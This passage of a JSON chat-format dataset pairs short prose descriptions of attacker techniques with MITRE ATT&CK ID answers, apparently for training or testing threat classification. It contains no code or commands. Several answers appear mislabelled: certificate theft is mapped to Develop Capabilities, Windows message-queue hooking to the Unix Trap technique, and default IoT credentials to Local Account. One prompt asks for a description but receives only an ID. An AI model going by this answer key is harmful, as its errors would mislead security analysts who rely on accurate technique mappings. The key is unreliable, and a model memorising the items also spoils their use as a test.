        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries infiltrate a members‑only cybersecurity forum to collect internal IP addresses and system configurations disclosed by insiders."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace the motherboard's firmware with a compromised version to gain low-level control during system boot."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a Shodan-like internet-wide scan to locate the organization's public IP blocks that were online."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary logged into the system using the built‑in Administrator account without creating new credentials."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑compromise tool adds a client‑side rule that automatically moves all emails containing 'confidential' in the body to a folder with a name that begins with a dot, making it invisible in standard views."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the Windows registry to replace the legitimate Software Installation Package (SIP) provider with a malicious one, causing installed software to be signed with the attacker's key."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sets up a jump host via SSH to pivot to internal assets."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify a legitimate shared document on a cloud drive to include malicious macros that execute when opened by other users."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker corrupts the KernelCallbackTable entries to trigger a denial‑of‑service condition while maintaining stealth."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses the Microsoft Graph API with stolen tokens to collect user emails."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs advanced searches on YouTube comments to find references to internal systems."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify Group Policy to prevent creation of new restore points and purge existing ones."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses the Windows Event Viewer API to retrieve and enumerate audit logs for suspicious activity."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a lateral movement phase, the adversary enables promiscuous mode on a network interface to eavesdrop on internal communications."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe an attack where an adversary uses SQL injection to extract sensitive data from databases."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the domain controller using LDAP to enumerate all Active Directory trust relationships between the victim's forest and external forests."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a scheduled task to periodically copy the Lotus Notes mailbox files to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary changes the creation and modification timestamps of compromised files to obscure when the intrusion occurred."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a PowerShell script to retrieve the victim's public IP address from an external web service."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the global macros-enabled Excel template (XLSTART) to execute a command that establishes persistence on the host."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker purchases a vanity domain to conceal the true origin of malware distribution."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromised a mobile app’s backend and harvested the OAuth access tokens stored in the app’s local storage to impersonate users."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor steals a valid code‑signing certificate from a software vendor to sign trojanized installers."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the /proc pseudo‑filesystem to locate and dump the memory of processes running as root, retrieving cached credentials and Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through DNS server takeover, the attacker can perform man-in-the-middle attacks on internal traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan drops a DLL that hooks into the Windows Message Queue and runs its payload when a specific window message is received."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries clear evidence by deleting network share connections they previously established for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs a system image downgrade, loading an older operating system snapshot to sidestep defenses."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects code that changes the parent PID in the process token, causing the OS to treat it as a child of a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploits the Windows Component Object Model to pipe commands from a compromised browser process to a system service via COM interfaces."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a credential list harvested from a data breach to perform password guessing on an Exchange server's webmail interface."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group employs the DigitalOcean API to remove a compromised droplet and recreate it from a prior snapshot, effectively reverting the instance's state."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a vulnerable LDAP service to move laterally between domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the application's AES-256 encryption routine with a custom implementation that only uses a 64‑bit key, effectively reducing the key space and making brute‑force attacks feasible."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scrapes public certificate transparency logs to enumerate all SSL certificates issued for the target’s domains."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script accesses the document.cookie property to steal session cookies from the current page."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised WordPress plugin serves a malicious payload that leverages a browser exploit to gain code execution on visiting clients."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets up a hidden process that continuously reads clipboard contents and posts them to a malicious webhook."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor inserts a base64‑encoded command‑and‑control payload into the metadata section of a JPEG image."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed a PowerShell script that creates a new local administrator account named \"tempadmin\" to ensure persistent access."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors altered the icons and file metadata of a trojan so it resembled a common PDF viewer."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the lack of multi‑factor authentication by performing credential stuffing with previously stolen username/password combos."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component injects code into the explorer.exe process to intercept and log all keyboard input in GUI windows."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code spoofs the signature of the anti‑malware tool’s alert dialog, showing a fabricated warning about a non‑existent infection."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component performs passive Wi‑Fi monitoring to collect broadcasted network identifiers and channel information."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a rule that forwards all incoming messages in the user’s mailbox to a remote email address for data theft."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a payload that harvests files and writes them to any detected external storage media."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchase expired domains with high authority and publish SEO-optimized pages that link to their command-and-control server, improving its visibility in search queries."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker sets up an internal HTTP proxy on a compromised host to relay traffic from other infected machines within the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses the launchctl command to load a custom daemon that executes a payload on startup."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a convincing fake login portal; when the user enters credentials, the page also downloads and runs a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracted domain controller-issued certificates from memory and crafted forged tokens to bypass authentication."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script extracts photo metadata from image files stored on the local hard drive."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link that, when clicked, triggers JavaScript to read the clipboard and send the data to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor gains access by using default credentials on an IoT device that is connected to the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script automates the creation of VNC passwords and stores them in plaintext, facilitating repeated remote sessions."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor establishes a bidirectional TCP tunnel over a common instant messaging protocol for C2."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script accesses the Microsoft Edge Credential Store to retrieve stored web login details."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the /etc/crontab file to execute a payload on reboot for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code monitors keyboard input to harvest credentials and other sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team script reads audit logs from /var/log/audit/audit.log to find privileged commands executed."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious binaries are concealed within the metadata of MP3 files, which are later extracted by a script on the target system."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor reads metadata from Microsoft Teams channel files to discover internal communication patterns."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware deployed a rootkit to replace legitimate system binaries with malicious versions."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries steal a code signing certificate from a compromised software vendor to sign malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the default handler for .csv files to a malicious Excel macro, leading to execution on opening any spreadsheet."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT used a stolen refresh token to programmatically pull files from the victim's OneDrive for Business."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executes mshta.exe with a base64-encoded payload that runs a JavaScript backdoor."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised employee’s calendar invitation includes a meeting link that, when clicked, triggers the download of a malicious Office document requiring the user to allow macros."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a link to an XML file that references an external XSL stylesheet; processing the stylesheet on the target system leads to execution of a PowerShell backdoor."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider reused their legitimate Active Directory account to exfiltrate sensitive files from the corporate file server."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder initiates AS‑REP requests for users that have pre‑authentication disabled, capturing the encrypted data for later offline analysis."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs on a compromised host to collect a list of all network shares on other machines in the environment."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor installs a counterfeit domain controller to intercept and manipulate authentication traffic, facilitating persistence."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group monitors the target's supply chain announcements and shipment logs to assess the cadence of the organization’s business processes."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑crime crew takes over a compromised blog hosting service to host phishing pages that mimic legitimate banking sites."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the domain's trust settings to include a malicious partner domain for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
